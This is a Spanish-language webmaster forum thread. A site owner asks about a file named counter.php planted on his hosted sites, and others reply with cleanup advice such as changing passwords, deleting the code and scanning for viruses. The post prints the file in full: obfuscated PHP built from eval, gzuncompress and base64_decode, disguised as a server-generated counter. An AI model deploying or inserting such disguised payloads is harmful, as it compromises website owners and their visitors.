me subieron un archivo a mi web

[waldragon]

Buenas, si me equivoque de foro, por favor ubiquen mi tema donde corresponda, gracias.

El problema que tengo es que en las herramientas para webmasters de google me avisaron que alguien habia subido un archivo a tres de mis sitios, estos tres estan alojados gratuitamente en 000webhost por lo que me parecio normal que ellos pongan un archivo para contar o regular algo, pero mirando los archivos de un sitio en un hosting de otra empresa vi con sorpresa que tambien me habian subido el mismo archivo, alguien mas lo ha notado?

el archivo subido:

counter.php

y contiene esto

Código PHP:

<?php
//Counter V.2.35
//Generated by server
//Do not delete
eval(gzuncompress(base64_decode('eF6lUsFqwkAU/JUeCqtQiiS1ECQHe0ikCJJt0exKCdlNFNKIYkBIvl7nJYVqnicPmbfsvDczu5vncL74mM6/1iJJ000ifvzp8ZjWA5NW+ftbkuV2n+UDYcXTq3AlsAZkoVcZl1YlkPitD/TF8OV22pW1vXwM0+qSJt/xx1hyYzXuqxNDcwDOH6nueiPRA6nIk59Xu6DR4L/VKHYoYakc71dHPnN/WfyJlkqvxqiFceg8Zf8+sX3prlD1CjgugKbz6E/80+46JaMLzWs9rkvByl3WBjXwDmZHP8eo76rQFXgN5YzlCdXOIubsYKi71Wx0jIU82RkqN9Fpgy5zYAhYFkwKEG2SwoRdmgibeIXh5AxE9+BR'))); ?><? eval(gzuncompress(base64_decode('eF5Vj9tqg0AQhl8liGQT8ELMVQmhCG60kmizMdS0FBnPS3RXVrclCX33rrE3vZmPOf3zTylZNlDOZgDlQqfLuw4bWwi4LpAXRa/J6YhJYrs4iJChaQaqOK+aAhnoCjXniinQXCq2PVORd4UAxawWvB3HUsoqhR5KEHTM+aDiQ5rgLSaYTLoE78MIJ7bjqMLU98KjOorAI2bm8K+dlfep5dep61/TVX57j/1b7m5NiAMT3vbybD0Nu1VgnmPiTTzIzK2/lcQz7TYK/2/MZa+8VgUbxt485y1QxqAtxvRh8M/AvJRN08FQTxqHEz5GyYm8jFtZXWSXsd5wflGfhJqhzbTlWhSDFGymw4dOP9c/v836bFU='))); ?><? eval(gzuncompress(base64_decode('eF6FlG1rgzAQgP+KhWINK8Mk1rZIYN1wZeDaYXVfRMRtuhXKCn3Zl+J/30VTNTSQT4bkubtw98RtaQ22x2NxsoZ5Xv5lNkKX793+I98ZYsMTX3bYn3+/LPsOI7GF2XAZrB8XwSYZZRCdjdLETq1htvHDdz9MYMuyUXrFCVvFQSBiKeOnkGpbWtZtGgxp6vvgMecIQowZZb47Fsg0FTyRearjqcw7Ot6R+YmOn8i8q+NdmZ/q+KnMz3T8TObnOn4u8xi06A1AmjDGKB0004QxXWCewqe+BpiCB5DhdDgXhmkaKsTpEHRppk8VhmFQrHYHhmDc1ysXFgqHuETSJaZQQYTM1CGdR1dwrga5QP3chIve5CZYHcIdkkJIF0Ih5NqTpR/VT4fwhojnQlSNaCWjyKsqaHzTNGIMoNP8rUEbbx4oblUj46c4DNZvURb6URyuonCx2jz74bh76FD+NkHrXpcgenn113HURoLv4uIOe1CkaHUk9Q+gubeTiMIoZbVPBCYsROif1Ucu8orPn734STlepajSSgxVquofilhu0g=='))); ?>
 

es un contador o algo mas? creo que el nombre counter y el mensaje en los comentarios (//Counter V.2.35 //Generated by server //Do not delete) son para distraer, que opinan?

como se puede evitar que nos suban archivos a nuestros sitios? gracias.

[Easygohost]

Si alguien te sube algo a tus sitios... lo recomendable primero y antes que nada es que cambies las claves urgentemente de los paneles, ftp y cuentas de email. El segundo paso es eliminar este codigo del sitio antes que lo coloquen como sitio peligroso ejemplo Google. Y por ultimo revisar tu pc en busca de algo raro o extraño... con un buen antivirus.

Si abriste algun link donde un amigo muy conocido, o tu ex novia... o pamela te invitaba a ver sus fotos... dechi ( Changos! eh agarrado un virus )

[Datacenter1]

parece un redireccionador

yo borraría ese bloque y verificará la seguridad de la web y passwords ftp

Puedes intentar decifrar con http://ddecode.com/phpdecoder/?resul...a7851815f76f92